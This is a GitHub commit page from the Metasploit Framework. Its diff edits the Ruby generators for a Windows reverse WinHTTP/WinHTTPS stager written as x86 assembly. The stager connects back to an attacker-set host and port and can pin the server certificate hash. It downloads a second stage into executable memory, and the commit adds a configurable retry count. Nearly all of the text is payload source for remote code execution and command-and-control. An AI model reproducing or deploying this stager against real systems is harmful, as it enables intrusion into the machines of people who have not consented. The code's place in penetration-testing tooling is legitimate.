Skip to content

Commit 69d9280

Browse files
author
HD Moore
committed
Fix yard docs, retries, push.i8 instructions. See commit 0513852
Note that StagerRetryCount is not defined here, but will be in the parent class once rapid7#4934 lands
1 parent 8e37342 commit 69d9280

File tree

2 files changed

+54
-54
lines changed

2 files changed

+54
-54
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 50 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -36,15 +36,17 @@ def generate
3636
ssl: false,
3737
host: datastore['LHOST'],
3838
port: datastore['LPORT'],
39-
url: generate_small_uri)
39+
url: generate_small_uri,
40+
retry_count: datastore['StagerRetryCount'])
4041
end
4142

4243
conf = {
4344
ssl: false,
4445
host: datastore['LHOST'],
4546
port: datastore['LPORT'],
4647
url: generate_uri,
47-
exitfunk: datastore['EXITFUNC']
48+
exitfunk: datastore['EXITFUNC'],
49+
retry_count: datastore['StagerRetryCount']
4850
}
4951

5052
generate_reverse_winhttp(conf)
@@ -98,28 +100,26 @@ def asm_generate_wchar_array(str)
98100
join(",")
99101
end
100102

103+
104+
#
105+
# Generate an assembly stub with the configured feature set and options.
101106
#
102-
# Dynamic payload generation
107+
# @option opts [Bool] :ssl Whether or not to enable SSL
108+
# @option opts [String] :url The URI to request during staging
109+
# @option opts [String] :host The host to connect to
110+
# @option opts [Fixnum] :port The port to connect to
111+
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
112+
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
113+
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
114+
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
103115
#
104116
def asm_reverse_winhttp(opts={})
105117

106-
107-
verify_ssl = nil
118+
retry_count = [opts[:retry_count].to_i, 1].max
119+
verify_ssl = nil
108120
encoded_cert_hash = nil
109-
110-
#
111-
# options can contain contain:
112-
# ssl: (true|false)
113-
# url: "/url_to_request"
114-
# host: [hostname]
115-
# port: [port]
116-
# exitfunk: [process|thread|seh|sleep]
117-
# verify_ssl: (true|false)
118-
# verify_cert_hash: (40-byte SHA1 hash)
119-
#
120-
121-
encoded_url = asm_generate_wchar_array(opts[:url])
122-
encoded_host = asm_generate_wchar_array(opts[:host])
121+
encoded_url = asm_generate_wchar_array(opts[:url])
122+
encoded_host = asm_generate_wchar_array(opts[:host])
123123

124124
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
125125
verify_ssl = true
@@ -162,45 +162,38 @@ def asm_reverse_winhttp(opts={})
162162
end
163163

164164
asm << %Q^
165-
set_retry:
166-
push.i8 6 ; retry 6 times
167-
pop edi
168-
xor ebx, ebx
169-
mov ecx, edi
170165
171-
push_zeros:
172-
push ebx ; NULL values for the WinHttpOpen API parameters
173-
loop push_zeros
166+
xor ebx, ebx
174167
175168
WinHttpOpen:
176-
; Flags [5]
177-
; ProxyBypass (NULL) [4]
178-
; ProxyName (NULL) [3]
179-
; AccessType (DEFAULT_PROXY= 0) [2]
180-
; UserAgent (NULL) [1]
169+
push ebx ; Flags
170+
push ebx ; ProxyBypass (NULL)
171+
push ebx ; ProxyName (NULL)
172+
push ebx ; AccessType (DEFAULT_PROXY= 0)
173+
push ebx ; UserAgent (NULL) [1]
181174
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
182175
call ebp
183176
184177
WinHttpConnect:
185-
push ebx ; Reserved (NULL) [4]
178+
push ebx ; Reserved (NULL)
186179
push #{opts[:port]} ; Port [3]
187180
call got_server_uri ; Double call to get pointer for both server_uri and
188-
server_uri: ; server_host; server_uri is saved in EDI for later
181+
server_uri: ; server_host; server_uri is saved in edi for later
189182
db #{encoded_url}
190183
got_server_host:
191-
push eax ; Session handle returned by WinHttpOpen [1]
184+
push eax ; Session handle returned by WinHttpOpen
192185
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
193186
call ebp
194187
195188
WinHttpOpenRequest:
196189
197190
push.i32 #{"0x%.8x" % http_open_flags}
198-
push ebx ; AcceptTypes (NULL) [6]
199-
push ebx ; Referrer (NULL) [5]
200-
push ebx ; Version (NULL) [4]
201-
push edi ; ObjectName (URI) [3]
202-
push ebx ; Verb (GET method) (NULL) [2]
203-
push eax ; Connect handler returned by WinHttpConnect [1]
191+
push ebx ; AcceptTypes (NULL)
192+
push ebx ; Referrer (NULL)
193+
push ebx ; Version (NULL)
194+
push edi ; ObjectName (URI)
195+
push ebx ; Verb (GET method) (NULL)
196+
push eax ; Connect handle returned by WinHttpConnect
204197
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
205198
call ebp
206199
xchg esi, eax ; save HttpRequest handler in esi
@@ -216,16 +209,21 @@ def asm_reverse_winhttp(opts={})
216209
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
217210
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
218211
mov eax, esp
219-
push.i8 4 ; sizeof(buffer)
212+
push 4 ; sizeof(buffer)
220213
push eax ; &buffer
221-
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
214+
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
222215
push esi ; hHttpRequest
223216
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
224217
call ebp
225218
^
226219
end
227220

228221
asm << %Q^
222+
; Store our retry counter in the edi register
223+
set_retry:
224+
push #{retry_count}
225+
pop edi
226+
229227
send_request:
230228
231229
WinHttpSendRequest:
@@ -271,14 +269,14 @@ def asm_reverse_winhttp(opts={})
271269

272270
asm << %Q^
273271
ssl_cert_get_context:
274-
push.i8 4
272+
push 4
275273
mov ecx, esp ; Allocate &bufferLength
276-
push.i8 0
274+
push 0
277275
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
278276
279277
push ecx ; &bufferLength
280278
push ebx ; &buffer
281-
push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
279+
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
282280
push esi ; hHttpRequest
283281
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
284282
call ebp
@@ -287,15 +285,15 @@ def asm_reverse_winhttp(opts={})
287285
288286
; ebx
289287
ssl_cert_allocate_hash_space:
290-
push.i8 20 ;
288+
push 20 ;
291289
mov ecx, esp ; Store a reference to the address of 20
292290
sub esp,[ecx] ; Allocate 20 bytes for the hash output
293291
mov edi, esp ; edi will point to our buffer
294292
295293
ssl_cert_get_server_hash:
296294
push ecx ; &bufferLength
297295
push edi ; &buffer (20-byte SHA1 hash)
298-
push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
296+
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
299297
push [ebx] ; *pCert
300298
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
301299
call ebp
@@ -310,7 +308,7 @@ def asm_reverse_winhttp(opts={})
310308
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
311309
; edi points to the server-provided certificate hash
312310
313-
push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
311+
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
314312
pop ecx ;
315313
mov edx, ecx ; Keep a reference to 4 in edx
316314
@@ -332,8 +330,8 @@ def asm_reverse_winhttp(opts={})
332330
receive_response:
333331
; The API WinHttpReceiveResponse needs to be called
334332
; first to get a valid handle for WinHttpReadData
335-
push ebx ; Reserved (NULL) [2]
336-
push esi ; Request handler returned by WinHttpSendRequest [1]
333+
push ebx ; Reserved (NULL)
334+
push esi ; Request handler returned by WinHttpSendRequest
337335
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
338336
call ebp
339337
test eax,eax
@@ -342,7 +340,7 @@ def asm_reverse_winhttp(opts={})
342340

343341
asm << %Q^
344342
allocate_memory:
345-
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
343+
push 0x40 ; PAGE_EXECUTE_READWRITE
346344
push 0x1000 ; MEM_COMMIT
347345
push 0x00400000 ; Stage allocation (4Mb ought to do us)
348346
push ebx ; NULL as we dont care where the allocation is

lib/msf/core/payload/windows/reverse_winhttps.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,8 @@ def generate
7979
port: datastore['LPORT'],
8080
url: generate_small_uri,
8181
verify_cert: verify_cert,
82-
verify_cert_hash: verify_cert_hash)
82+
verify_cert_hash: verify_cert_hash,
83+
retry_count: datastore['StagerRetryCount'])
8384
end
8485

8586
conf = {
@@ -89,7 +90,8 @@ def generate
8990
url: generate_uri,
9091
exitfunk: datastore['EXITFUNC'],
9192
verify_cert: verify_cert,
92-
verify_cert_hash: verify_cert_hash
93+
verify_cert_hash: verify_cert_hash,
94+
retry_count: datastore['StagerRetryCount']
9395
}
9496

9597
generate_reverse_winhttps(conf)

0 commit comments

Comments
 (0)